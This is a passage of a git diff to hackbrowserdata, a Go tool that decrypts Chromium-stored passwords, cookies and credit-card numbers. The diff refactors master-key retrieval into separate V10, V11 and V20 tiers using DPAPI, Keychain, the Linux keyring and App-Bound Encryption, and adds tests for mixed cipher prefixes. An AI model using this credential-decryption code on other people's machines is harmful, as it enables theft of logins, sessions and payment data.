diff --git a/browser/browser.go b/browser/browser.go index bedfa49..291d42c 100644 --- a/browser/browser.go +++ b/browser/browser.go @@ -111,11 +111,11 @@ func pickFromConfigs(configs []types.BrowserConfig, opts PickOptions) ([]Browser return browsers, nil } -// retrieverSetter is an optional capability interface. Chromium variants -// implement it to receive a master-key retriever chain; Firefox and Safari -// do not. -type retrieverSetter interface { - SetRetriever(keyretriever.KeyRetriever) +// keyRetrieversSetter is an optional capability interface. Chromium variants implement it to +// receive the per-tier master-key retrievers (V10 / V11 / V20) as a single Retrievers struct; +// Firefox and Safari do not. +type keyRetrieversSetter interface { + SetKeyRetrievers(keyretriever.Retrievers) } // resolveGlobs expands glob patterns in browser configs' UserDataDir. diff --git a/browser/browser_darwin.go b/browser/browser_darwin.go index 2d1254a..ed0a533 100644 --- a/browser/browser_darwin.go +++ b/browser/browser_darwin.go @@ -171,23 +171,23 @@ type keychainPasswordSetter interface { // no longer triggers a password prompt. func newPlatformInjector(opts PickOptions) func(Browser) { var ( - password string - retriever keyretriever.KeyRetriever - resolved bool + password string + retrievers keyretriever.Retrievers + resolved bool ) return func(b Browser) { - rs, needsRetriever := b.(retrieverSetter) + rs, needsRetrievers := b.(keyRetrieversSetter) kps, needsKeychainPassword := b.(keychainPasswordSetter) - if !needsRetriever && !needsKeychainPassword { + if !needsRetrievers && !needsKeychainPassword { return } if !resolved { password = resolveKeychainPassword(opts.KeychainPassword) - retriever = keyretriever.DefaultRetriever(password) + retrievers = keyretriever.DefaultRetrievers(password) resolved = true } - if needsRetriever { - rs.SetRetriever(retriever) + if needsRetrievers { + rs.SetKeyRetrievers(retrievers) } if needsKeychainPassword { kps.SetKeychainPassword(password) diff --git a/browser/browser_linux.go b/browser/browser_linux.go index a8828c5..abe2d59 100644 --- a/browser/browser_linux.go +++ b/browser/browser_linux.go @@ -67,13 +67,16 @@ func platformBrowsers() []types.BrowserConfig { } } -// newPlatformInjector returns a closure that injects the Chromium master-key -// retriever chain into each Browser. +// newPlatformInjector returns a closure that wires the Linux Chromium master-key retrievers into +// each Browser. Linux has two tiers: V10 uses the "peanuts" hardcoded password (kV10Key); V11 +// uses the D-Bus Secret Service keyring (kV11Key). V20 is nil — App-Bound Encryption is Windows- +// only. Both V10 and V11 run independently so a profile carrying mixed cipher prefixes decrypts +// both tiers. func newPlatformInjector(_ PickOptions) func(Browser) { - retriever := keyretriever.DefaultRetriever() + retrievers := keyretriever.DefaultRetrievers() return func(b Browser) { - if s, ok := b.(retrieverSetter); ok { - s.SetRetriever(retriever) + if s, ok := b.(keyRetrieversSetter); ok { + s.SetKeyRetrievers(retrievers) } } } diff --git a/browser/browser_windows.go b/browser/browser_windows.go index f018c77..58d65f2 100644 --- a/browser/browser_windows.go +++ b/browser/browser_windows.go @@ -125,13 +125,15 @@ func platformBrowsers() []types.BrowserConfig { } } -// newPlatformInjector returns a closure that injects the Chromium master-key -// retriever chain into each Browser. +// newPlatformInjector returns a closure that wires the Windows v10 (DPAPI) and v20 (ABE) Chromium +// master-key retrievers into each Browser. Per issue #578 the two tiers are orthogonal — a single +// Chrome profile upgraded from pre-127 carries v20 cookies alongside v10 passwords — so both +// retrievers run independently rather than as a first-success chain. func newPlatformInjector(_ PickOptions) func(Browser) { - retriever := keyretriever.DefaultRetriever() + retrievers := keyretriever.DefaultRetrievers() return func(b Browser) { - if s, ok := b.(retrieverSetter); ok { - s.SetRetriever(retriever) + if s, ok := b.(keyRetrieversSetter); ok { + s.SetKeyRetrievers(retrievers) } } } diff --git a/browser/chromium/chromium.go b/browser/chromium/chromium.go index e623cf4..af3974d 100644 --- a/browser/chromium/chromium.go +++ b/browser/chromium/chromium.go @@ -1,7 +1,6 @@ package chromium import ( - "fmt" "os" "path/filepath" "time" @@ -17,14 +16,14 @@ import ( type Browser struct { cfg types.BrowserConfig profileDir string // absolute path to profile directory - retriever keyretriever.KeyRetriever // set via SetRetriever after construction + retrievers keyretriever.Retrievers // per-tier key sources (V10 / V11 / V20; unused tiers nil) sources map[types.Category][]sourcePath // Category → candidate paths (priority order) extractors map[types.Category]categoryExtractor // Category → custom extract function override sourcePaths map[types.Category]resolvedPath // Category → discovered absolute path } // NewBrowsers discovers Chromium profiles under cfg.UserDataDir and returns -// one Browser per profile. Call SetRetriever on each returned browser before +// one Browser per profile. Call SetKeyRetrievers on each returned browser before // Extract to enable decryption of sensitive data (passwords, cookies, etc.). func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) { sources := sourcesForKind(cfg.Kind) @@ -52,11 +51,19 @@ func NewBrowsers(cfg types.BrowserConfig) ([]*Browser, error) { return browsers, nil } -// SetRetriever sets the key retriever used by Extract to obtain the -// master encryption key. Must be called before Extract if encrypted -// data (passwords, cookies, credit cards) needs to be decrypted. -func (b *Browser) SetRetriever(r keyretriever.KeyRetriever) { - b.retriever = r +// SetKeyRetrievers wires the per-tier master-key retrievers used by Extract. Each slot +// (V10 / V11 / V20) is populated only on platforms where that cipher tier is used: +// +// - Windows: V10 (DPAPI) + V20 (ABE). V11 nil — Chromium does not emit v11 prefix on Windows. +// - Linux: V10 ("peanuts" kV10Key) + V11 (D-Bus Secret Service kV11Key). V20 nil. +// - macOS: V10 (Keychain chain). V11 and V20 nil. +// +// Slots are independent — a failure or absence in one tier does not affect others. A single +// Chromium profile can carry mixed cipher-prefix ciphertexts (the motivation for issue #578), so +// every configured retriever runs at extract time and decryptValue picks the matching key per +// ciphertext. +func (b *Browser) SetKeyRetrievers(r keyretriever.Retrievers) { + b.retrievers = r } func (b *Browser) BrowserName() string { return b.cfg.Name } @@ -79,10 +86,7 @@ func (b *Browser) Extract(categories []types.Category) (*types.BrowserData, erro tempPaths := b.acquireFiles(session, categories) - masterKey, err := b.getMasterKey(session) - if err != nil { - log.Debugf("get master key for %s: %v", b.BrowserName()+"/"+b.ProfileName(), err) - } + keys := b.getMasterKeys(session) data := &types.BrowserData{} for _, cat := range categories { @@ -90,7 +94,7 @@ func (b *Browser) Extract(categories []types.Category) (*types.BrowserData, erro if !ok { continue } - b.extractCategory(data, cat, masterKey, path) + b.extractCategory(data, cat, keys, path) } return data, nil } @@ -170,43 +174,46 @@ func (b *Browser) acquireFiles(session *filemanager.Session, categories []types. return tempPaths } -// getMasterKey retrieves the Chromium master encryption key. -// -// On Windows, the key is read from the Local State file and decrypted via DPAPI. -// On macOS, the key is derived from Keychain (Local State is not needed). -// On Linux, the key is derived from D-Bus Secret Service or a fallback password. -// -// The retriever is always called regardless of whether Local State exists, -// because macOS/Linux retrievers don't need it. -func (b *Browser) getMasterKey(session *filemanager.Session) ([]byte, error) { - if b.retriever == nil { - return nil, fmt.Errorf("key retriever not set for %s", b.cfg.Name) - } +// getMasterKeys retrieves the Chromium master keys for every configured tier. Chrome mixes +// cipher tiers on the same profile — v20 for new cookies alongside v10 passwords on Windows; v10 +// (peanuts) alongside v11 (keyring) on Linux after session-mode changes — so every retriever in +// b.retrievers runs independently and keyretriever.NewMasterKeys assembles the results. Any tier +// key may be nil if its retriever failed or is not configured for this platform; decryptValue +// treats a missing tier key as "that tier cannot decrypt" so partial success is still reported. +func (b *Browser) getMasterKeys(session *filemanager.Session) keyretriever.MasterKeys { + label := b.BrowserName() + "/" + b.ProfileName() - // Try to locate and copy Local State (needed on Windows, ignored on macOS/Linux). - // Multi-profile layout: Local State is in the parent of profileDir. - // Flat layout (Opera): Local State is alongside data files in profileDir. + // Locate and copy Local State (needed on Windows, ignored on macOS/Linux). Multi-profile + // layout: Local State is in the parent of profileDir. Flat layout (Opera): Local State is + // alongside data files in profileDir. var localStateDst string for _, dir := range []string{filepath.Dir(b.profileDir), b.profileDir} { candidate := filepath.Join(dir, "Local State") - if fileutil.FileExists(candidate) { - localStateDst = filepath.Join(session.TempDir(), "Local State") - if err := session.Acquire(candidate, localStateDst, false); err != nil { - return nil, err - } + if !fileutil.FileExists(candidate) { + continue + } + dst := filepath.Join(session.TempDir(), "Local State") + if err := session.Acquire(candidate, dst, false); err != nil { + log.Debugf("acquire Local State for %s: %v", label, err) break } + localStateDst = dst + break } - return b.retriever.RetrieveKey(b.cfg.Storage, localStateDst) + keys, err := keyretriever.NewMasterKeys(b.retrievers, b.cfg.Storage, localStateDst) + if err != nil { + log.Warnf("%s: master key retrieval: %v", label, err) + } + return keys } // extractCategory calls the appropriate extract function for a category. // If a custom extractor is registered for this category (via extractorsForKind), // it is used instead of the default switch logic. -func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, masterKey []byte, path string) { +func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, keys keyretriever.MasterKeys, path string) { if ext, ok := b.extractors[cat]; ok { - if err := ext.extract(masterKey, path, data); err != nil { + if err := ext.extract(keys, path, data); err != nil { log.Debugf("extract %s for %s: %v", cat, b.BrowserName()+"/"+b.ProfileName(), err) } return @@ -215,9 +222,9 @@ func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, m var err error switch cat { case types.Password: - data.Passwords, err = extractPasswords(masterKey, path) + data.Passwords, err = extractPasswords(keys, path) case types.Cookie: - data.Cookies, err = extractCookies(masterKey, path) + data.Cookies, err = extractCookies(keys, path) case types.History: data.Histories, err = extractHistories(path) case types.Download: @@ -225,7 +232,7 @@ func (b *Browser) extractCategory(data *types.BrowserData, cat types.Category, m case types.Bookmark: data.Bookmarks, err = extractBookmarks(path) case types.CreditCard: - data.CreditCards, err = extractCreditCards(masterKey, path) + data.CreditCards, err = extractCreditCards(keys, path) case types.Extension: data.Extensions, err = extractExtensions(path) case types.LocalStorage: diff --git a/browser/chromium/chromium_test.go b/browser/chromium/chromium_test.go index f567bca..13577c7 100644 --- a/browser/chromium/chromium_test.go +++ b/browser/chromium/chromium_test.go @@ -362,7 +362,7 @@ func TestExtractCategory_CustomExtractor(t *testing.T) { } data := &types.BrowserData{} - b.extractCategory(data, types.Extension, nil, "unused-path") + b.extractCategory(data, types.Extension, keyretriever.MasterKeys{}, "unused-path") assert.True(t, called, "custom extractor should be called") require.Len(t, data.Extensions, 1) @@ -381,7 +381,7 @@ func TestExtractCategory_DefaultFallback(t *testing.T) { } data := &types.BrowserData{} - b.extractCategory(data, types.History, nil, path) + b.extractCategory(data, types.History, keyretriever.MasterKeys{}, path) require.Len(t, data.Histories, 1) assert.Equal(t, "Example", data.Histories[0].Title) @@ -441,7 +441,7 @@ func TestLocalStatePath(t *testing.T) { } // --------------------------------------------------------------------------- -// getMasterKey +// getMasterKeys // --------------------------------------------------------------------------- // mockRetriever records the arguments passed to RetrieveKey. @@ -460,7 +460,10 @@ func (m *mockRetriever) RetrieveKey(storage, localStatePath string) ([]byte, err return m.key, m.err } -func TestGetMasterKey(t *testing.T) { +func TestGetMasterKeys(t *testing.T) { + // getMasterKeys routes through keyretriever.NewMasterKeys on every platform — the V10 mock + // wired via SetKeyRetrievers(Retrievers{V10: mock}) is consulted cross-platform. + // Profile directory without Local State file. dirNoLocalState := t.TempDir() mkFile(dirNoLocalState, "Default", "Preferences") @@ -470,23 +473,21 @@ func TestGetMasterKey(t *testing.T) { name string dir string storage string - retriever keyretriever.KeyRetriever // nil → don't call SetRetriever - wantKey []byte - wantErr string + retriever keyretriever.KeyRetriever // nil → don't call SetKeyRetrievers + wantV10 []byte wantStorage string wantLocalState bool // whether localStatePath passed to retriever is non-empty }{ { - name: "nil retriever returns error", - dir: fixture.chrome, - wantErr: "key retriever not set", + name: "nil retriever yields empty keys", + dir: fixture.chrome, }, { name: "with Local State passes path to retriever", dir: fixture.chrome, storage: "Chrome", retriever: &mockRetriever{key: []byte("fake-master-key")}, - wantKey: []byte("fake-master-key"), + wantV10: []byte("fake-master-key"), wantStorage: "Chrome", wantLocalState: true, }, @@ -495,7 +496,7 @@ func TestGetMasterKey(t *testing.T) { dir: dirNoLocalState, storage: "Chromium", retriever: &mockRetriever{key: []byte("derived-key")}, - wantKey: []byte("derived-key"), + wantV10: []byte("derived-key"), wantStorage: "Chromium", }, } @@ -510,22 +511,21 @@ func TestGetMasterKey(t *testing.T) { b := browsers[0] if tt.retriever != nil { - b.SetRetriever(tt.retriever) + b.SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever}) } session, err := filemanager.NewSession() require.NoError(t, err) defer session.Cleanup() - key, err := b.getMasterKey(session) - if tt.wantErr != "" { - require.Error(t, err) - assert.Contains(t, err.Error(), tt.wantErr) + keys := b.getMasterKeys(session) + assert.Equal(t, tt.wantV10, keys.V10) + assert.Nil(t, keys.V11, "V11 stays nil when no v11 retriever is wired") + assert.Nil(t, keys.V20, "V20 stays nil when no v20 retriever is wired") + + if tt.retriever == nil { return } - require.NoError(t, err) - assert.Equal(t, tt.wantKey, key) - mock, ok := tt.retriever.(*mockRetriever) require.True(t, ok) assert.True(t, mock.called) @@ -539,6 +539,43 @@ func TestGetMasterKey(t *testing.T) { } } +// TestGetMasterKeys_AllTiersInvoked is the mixed-tier regression test at the getMasterKeys layer. +// Before the refactor a Windows-only bypass meant only one tier's retriever was consulted, so a +// profile mixing prefixes silently lost the un-retrieved tier. After the refactor every +// configured tier must be called exactly once and its key must land in the matching MasterKeys +// slot. This catches any future "bypass keyretriever for a faster path" regression and covers the +// analogous Linux v10/v11 case — no platform silently drops a tier any more. +func TestGetMasterKeys_AllTiersInvoked(t *testing.T) { + v10mock := &mockRetriever{key: []byte("fake-v10-key")} + v11mock := &mockRetriever{key: []byte("fake-v11-key")} + v20mock := &mockRetriever{key: []byte("fake-v20-key")} + + browsers, err := NewBrowsers(types.BrowserConfig{ + Name: "Test", Kind: types.Chromium, UserDataDir: fixture.chrome, Storage: "Chrome", + }) + require.NoError(t, err) + require.NotEmpty(t, browsers) + + b := browsers[0] + b.SetKeyRetrievers(keyretriever.Retrievers{V10: v10mock, V11: v11mock, V20: v20mock}) + + session, err := filemanager.NewSession() + require.NoError(t, err) + defer session.Cleanup() + + keys := b.getMasterKeys(session) + assert.Equal(t, []byte("fake-v10-key"), keys.V10, "V10 slot must be populated") + assert.Equal(t, []byte("fake-v11-key"), keys.V11, "V11 slot must be populated") + assert.Equal(t, []byte("fake-v20-key"), keys.V20, "V20 slot must be populated") + assert.True(t, v10mock.called, "V10 retriever must be called — no silent bypass") + assert.True(t, v11mock.called, "V11 retriever must be called — no silent bypass") + assert.True(t, v20mock.called, "V20 retriever must be called — no silent bypass") + for _, m := range []*mockRetriever{v10mock, v11mock, v20mock} { + assert.Equal(t, "Chrome", m.storage) + assert.NotEmpty(t, m.localState, "Local State path must be passed to every retriever") + } +} + // --------------------------------------------------------------------------- // Extract // --------------------------------------------------------------------------- @@ -572,7 +609,7 @@ func TestExtract(t *testing.T) { require.Len(t, browsers, 1) if tt.retriever != nil { - browsers[0].SetRetriever(tt.retriever) + browsers[0].SetKeyRetrievers(keyretriever.Retrievers{V10: tt.retriever}) } result, err := browsers[0].Extract([]types.Category{types.History}) @@ -673,12 +710,12 @@ func TestCountCategory(t *testing.T) { } // --------------------------------------------------------------------------- -// SetRetriever: verify *Browser satisfies the interface used by +// SetKeyRetrievers: verify *Browser satisfies the interface used by // browser.pickFromConfigs for post-construction retriever injection. // --------------------------------------------------------------------------- -func TestSetRetriever_SatisfiesInterface(t *testing.T) { +func TestSetKeyRetrievers_SatisfiesInterface(t *testing.T) { var _ interface { - SetRetriever(keyretriever.KeyRetriever) + SetKeyRetrievers(keyretriever.Retrievers) } = (*Browser)(nil) } diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go index cf6d56b..69b6702 100644 --- a/browser/chromium/decrypt.go +++ b/browser/chromium/decrypt.go @@ -4,24 +4,43 @@ import ( "fmt" "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" ) -// decryptValue decrypts a Chromium-encrypted value using the master key. It detects the cipher version -// from the ciphertext prefix and routes to the appropriate decryption function. -func decryptValue(masterKey, ciphertext []byte) ([]byte, error) { +// decryptValue decrypts a Chromium-encrypted value by dispatching on the ciphertext's version +// prefix to the matching tier in keys: +// +// - v10 → keys.V10 (Windows DPAPI / macOS Keychain / Linux peanuts kV10Key) +// - v11 → keys.V11 (Linux keyring kV11Key; nil on Windows/macOS — Chromium doesn't emit v11 there) +// - v20 → keys.V20 (Windows ABE; nil on non-Windows — Chromium doesn't emit v20 there) +// +// A single profile can carry mixed prefixes (Chrome 127+ upgrades on Windows; Linux session-mode +// changes), so every applicable key must be populated upstream for lossless extraction. Missing +// tier keys surface as decrypt errors at the ciphertext level; the extract layer treats those as +// empty plaintexts rather than fatal errors. +func decryptValue(keys keyretriever.MasterKeys, ciphertext []byte) ([]byte, error) { if len(ciphertext) == 0 { return nil, nil } version := crypto.DetectVersion(ciphertext) switch version { - case crypto.CipherV10, crypto.CipherV11: - // v11 is Linux-only and shares v10's AES-CBC path; only the key source differs. - return crypto.DecryptChromium(masterKey, ciphertext) + case crypto.CipherV10: + return crypto.DecryptChromium(keys.V10, ciphertext) + case crypto.CipherV11: + // v11 is Linux-only and shares v10's AES-CBC path, but uses the keyring-derived kV11Key + // rather than the peanuts-derived kV10Key — so a Linux profile with both prefixes needs + // distinct per-tier keys to decrypt everything. + return crypto.DecryptChromium(keys.V11, ciphertext) case crypto.CipherV20: // v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can // exercise the same decryption path as Windows. - return crypto.DecryptChromiumV20(masterKey, ciphertext) + return crypto.DecryptChromiumV20(keys.V20, ciphertext) + case crypto.CipherV12: + // Chromium's SecretPortalKeyProvider (Flatpak / xdg-desktop-portal) — HKDF-SHA256 + + // AES-256-GCM with a secret retrieved via org.freedesktop.portal.Desktop. Recognized here + // to surface an actionable "known gap" error rather than the generic "unsupported" one. + return nil, fmt.Errorf("unsupported cipher version v12 (Chromium SecretPortal / Flatpak; not yet implemented)") case crypto.CipherDPAPI: return crypto.DecryptDPAPI(ciphertext) default: diff --git a/browser/chromium/decrypt_mixed_test.go b/browser/chromium/decrypt_mixed_test.go new file mode 100644 index 0000000..4c7391f --- /dev/null +++ b/browser/chromium/decrypt_mixed_test.go @@ -0,0 +1,60 @@ +package chromium + +import ( + "bytes" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" +) + +// TestDecryptValue_MixedTier is the regression test for mixed-cipher profiles (issue #578 on +// Windows; the analogous Linux v10/v11 gap). A single MasterKeys struct must carry distinct keys +// for each tier, and decryptValue must dispatch each ciphertext to the matching tier's key. +// Before the refactor the master-key retriever returned only one tier, so a profile mixing +// cipher prefixes silently lost whichever tier wasn't retrieved. +// +// Uses v20 (cross-platform AES-GCM) to cover the prefix→slot routing property without depending +// on platform-specific v10/v11 cipher primitives (AES-CBC on darwin/linux, AES-GCM on Windows). +// The per-platform v10/v11 formats are covered by decrypt_test.go and decrypt_windows_test.go. +func TestDecryptValue_MixedTier(t *testing.T) { + k10 := bytes.Repeat([]byte{0x10}, 16) // V10 slot key (wrong for v20 payload) + k11 := bytes.Repeat([]byte{0x11}, 16) // V11 slot key (wrong for v20 payload) + k20 := bytes.Repeat([]byte{0x20}, 16) // V20 slot key (correct for v20 payload) + + plaintext := []byte("cookie-value-encrypted-with-k20") + nonce := []byte("v20_nonce_12") // 12-byte AES-GCM nonce + + gcmEnc, err := crypto.AESGCMEncrypt(k20, nonce, plaintext) + require.NoError(t, err) + v20Ciphertext := append([]byte("v20"), append(nonce, gcmEnc...)...) + + t.Run("all tiers populated: v20 picks V20, decrypts", func(t *testing.T) { + got, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext) + require.NoError(t, err) + assert.Equal(t, plaintext, got) + }) + + t.Run("V20 holds wrong key: v20 still picks V20 slot (not V10/V11), errors", func(t *testing.T) { + // If the dispatcher incorrectly fell back to V10 or V11 when V20 had a wrong key, this + // would succeed. Proves the router uses prefix-based selection, not first-usable-key. + _, err := decryptValue(keyretriever.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext) + require.Error(t, err) + }) + + t.Run("only V20 populated: v20 still decrypts", func(t *testing.T) { + // The pre-#578 symmetric regression: when DPAPI/keyring failed and only V20 was retrieved, + // v20 cookies had to still decrypt. This asserts V10 and V11 being nil doesn't block v20. + got, err := decryptValue(keyretriever.MasterKeys{V20: k20}, v20Ciphertext) + require.NoError(t, err) + assert.Equal(t, plaintext, got) + }) + + t.Run("V20 slot unpopulated: v20 errors (no key to use)", func(t *testing.T) { + _, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11}, v20Ciphertext) + require.Error(t, err) + }) +} diff --git a/browser/chromium/decrypt_test.go b/browser/chromium/decrypt_test.go index f154f48..440708f 100644 --- a/browser/chromium/decrypt_test.go +++ b/browser/chromium/decrypt_test.go @@ -10,6 +10,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" ) func TestDecryptValue_V10(t *testing.T) { @@ -39,7 +40,7 @@ func TestDecryptValue_V10(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - got, err := decryptValue(tt.key, v10Ciphertext) + got, err := decryptValue(keyretriever.MasterKeys{V10: tt.key}, v10Ciphertext) if tt.wantErrMsg != "" { require.Error(t, err) assert.Contains(t, err.Error(), tt.wantErrMsg) @@ -59,7 +60,52 @@ func TestDecryptValue_V11(t *testing.T) { require.NoError(t, err) v11Ciphertext := append([]byte("v11"), cbcEncrypted...) - got, err := decryptValue(testAESKey, v11Ciphertext) + // v11 ciphertexts route to the V11 slot (Linux's keyring-derived kV11Key) — not V10 (peanuts). + got, err := decryptValue(keyretriever.MasterKeys{V11: testAESKey}, v11Ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } + +// TestDecryptValue_V10_V11_SlotSeparation is the Linux analog of the #578 regression test: a +// profile carrying both v10 (peanuts) and v11 (keyring) ciphertexts must route each prefix to +// its own slot, not share a single key. Build-tag scoped to darwin/linux because v10/v11 use +// AES-CBC on these platforms; Windows uses AES-GCM for v10 and is covered separately by +// decrypt_windows_test.go. +func TestDecryptValue_V10_V11_SlotSeparation(t *testing.T) { + k10 := bytes.Repeat([]byte{0x10}, 16) // V10 slot key (peanuts-derived kV10Key) + k11 := bytes.Repeat([]byte{0x11}, 16) // V11 slot key (keyring-derived kV11Key) + + iv := bytes.Repeat([]byte{0x20}, 16) // matches crypto.chromiumCBCIV on darwin/linux + v10plain := []byte("password-from-v10-era") + v11plain := []byte("password-from-v11-era") + + v10Enc, err := crypto.AESCBCEncrypt(k10, iv, v10plain) + require.NoError(t, err) + v10Ciphertext := append([]byte("v10"), v10Enc...) + + v11Enc, err := crypto.AESCBCEncrypt(k11, iv, v11plain) + require.NoError(t, err) + v11Ciphertext := append([]byte("v11"), v11Enc...) + + keys := keyretriever.MasterKeys{V10: k10, V11: k11} + + t.Run("v10 ciphertext decrypts via V10 slot", func(t *testing.T) { + got, err := decryptValue(keys, v10Ciphertext) + require.NoError(t, err) + assert.Equal(t, v10plain, got) + }) + + t.Run("v11 ciphertext decrypts via V11 slot", func(t *testing.T) { + got, err := decryptValue(keys, v11Ciphertext) + require.NoError(t, err) + assert.Equal(t, v11plain, got) + }) + + t.Run("swapped keys fail both directions", func(t *testing.T) { + swapped := keyretriever.MasterKeys{V10: k11, V11: k10} + _, err := decryptValue(swapped, v10Ciphertext) + require.Error(t, err, "v10 with V11's key must fail") + _, err = decryptValue(swapped, v11Ciphertext) + require.Error(t, err, "v11 with V10's key must fail") + }) +} diff --git a/browser/chromium/decrypt_v20_test.go b/browser/chromium/decrypt_v20_test.go index f026b57..afc5eb0 100644 --- a/browser/chromium/decrypt_v20_test.go +++ b/browser/chromium/decrypt_v20_test.go @@ -7,6 +7,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" ) // TestDecryptValue_V20 is cross-platform because v20's ciphertext format @@ -23,13 +24,13 @@ func TestDecryptValue_V20(t *testing.T) { // v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag ciphertext := append([]byte("v20"), append(nonce, gcm...)...) - got, err := decryptValue(testAESKey, ciphertext) + got, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } func TestDecryptValue_V20_ShortCiphertext(t *testing.T) { // Missing nonce (prefix only) must error, not panic. - _, err := decryptValue(testAESKey, []byte("v20")) + _, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, []byte("v20")) require.Error(t, err) } diff --git a/browser/chromium/decrypt_windows_test.go b/browser/chromium/decrypt_windows_test.go index c7e58b4..70b533e 100644 --- a/browser/chromium/decrypt_windows_test.go +++ b/browser/chromium/decrypt_windows_test.go @@ -12,6 +12,7 @@ import ( "github.com/stretchr/testify/require" "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" ) // encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData). @@ -63,7 +64,7 @@ func TestDecryptValue_V10_Windows(t *testing.T) { // v10 format on Windows: "v10" + nonce(12) + encrypted ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...) - got, err := decryptValue(testAESKey, ciphertext) + got, err := decryptValue(keyretriever.MasterKeys{V10: testAESKey}, ciphertext) require.NoError(t, err) assert.Equal(t, plaintext, got) } @@ -76,8 +77,8 @@ func TestDecryptValue_DPAPI_Windows(t *testing.T) { require.NoError(t, err) require.NotEmpty(t, encrypted) - // No v10/v20 prefix → decryptValue routes to DPAPI path - got, err := decryptValue(nil, encrypted) + // No v10/v20 prefix → decryptValue routes to DPAPI path; no per-tier key needed. + got, err := decryptValue(keyretriever.MasterKeys{}, encrypted) require.NoError(t, err) assert.Equal(t, plaintext, got) } diff --git a/browser/chromium/extract_cookie.go b/browser/chromium/extract_cookie.go index 4827abd..2b2ee36 100644 --- a/browser/chromium/extract_cookie.go +++ b/browser/chromium/extract_cookie.go @@ -6,7 +6,7 @@ import ( "database/sql" "sort" - "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" ) @@ -18,9 +18,7 @@ const ( countCookieQuery = `SELECT COUNT(*) FROM cookies` ) -func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) { - var decryptFails int - var lastErr error +func extractCookies(keys keyretriever.MasterKeys, path string) ([]types.CookieEntry, error) { cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery, func(rows *sql.Rows) (types.CookieEntry, error) { var ( @@ -36,11 +34,7 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) return types.CookieEntry{}, err } - value, err := decryptValue(masterKey, encryptedValue) - if err != nil { - decryptFails++ - lastErr = err - } + value, _ := decryptValue(keys, encryptedValue) value = stripCookieHash(value, host) return types.CookieEntry{ Name: name, @@ -58,9 +52,6 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) if err != nil { return nil, err } - if decryptFails > 0 { - log.Warnf("cookies: total=%d decrypt_failed=%d last_err=%v", len(cookies), decryptFails, lastErr) - } sort.Slice(cookies, func(i, j int) bool { return cookies[i].CreatedAt.After(cookies[j].CreatedAt) diff --git a/browser/chromium/extract_cookie_test.go b/browser/chromium/extract_cookie_test.go index 18876ed..581523b 100644 --- a/browser/chromium/extract_cookie_test.go +++ b/browser/chromium/extract_cookie_test.go @@ -6,6 +6,8 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" ) func setupCookieDB(t *testing.T) string { @@ -19,7 +21,7 @@ func setupCookieDB(t *testing.T) string { func TestExtractCookies(t *testing.T) { path := setupCookieDB(t) - got, err := extractCookies(nil, path) + got, err := extractCookies(keyretriever.MasterKeys{}, path) require.NoError(t, err) require.Len(t, got, 2) diff --git a/browser/chromium/extract_creditcard.go b/browser/chromium/extract_creditcard.go index f4c3823..afa4042 100644 --- a/browser/chromium/extract_creditcard.go +++ b/browser/chromium/extract_creditcard.go @@ -3,7 +3,7 @@ package chromium import ( "database/sql" - "github.com/moond4rk/hackbrowserdata/log" + "github.com/moond4rk/hackbrowserdata/crypto/keyretriever" "github.com/moond4rk/hackbrowserdata/types" "github.com/moond4rk/hackbrowserdata/utils/sqliteutil" ) @@ -14,9 +14,7 @@ const ( countCreditCardQuery = `SELECT COUNT(*) FROM credit_cards` ) -func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry, error) { - var decryptFails int - var lastErr error +func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) { cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery, func(rows *sql.Rows) (types.CreditCardEntry, error) { var guid, name, month, year, nickname, address string @@ -24,11 +22,7 @@ func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry, if err := rows.Scan(&guid, &name, &month, &year, &encNumber, &nickname, &address); err != nil { return types.CreditCardEntry{}, err } - number, err := decryptValue(masterKey, encNumber) - if err != nil { - decryptFails++ - lastErr = err - } + number, _ := decryptValue(keys, encNumber) return types.CreditCardEntry{ GUID: guid, Name: name, @@ -42,9 +36,6 @@ func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry, if err != nil { return nil, err } - if decryptFails > 0 { - log.Debugf("decrypt credit cards: %d failed: %v", decryptFails, lastErr) - } return cards, nil } diff --git a/browser/chromium/extract_creditcard_test.go b/browser/chromium/extract_creditcard_test.go index 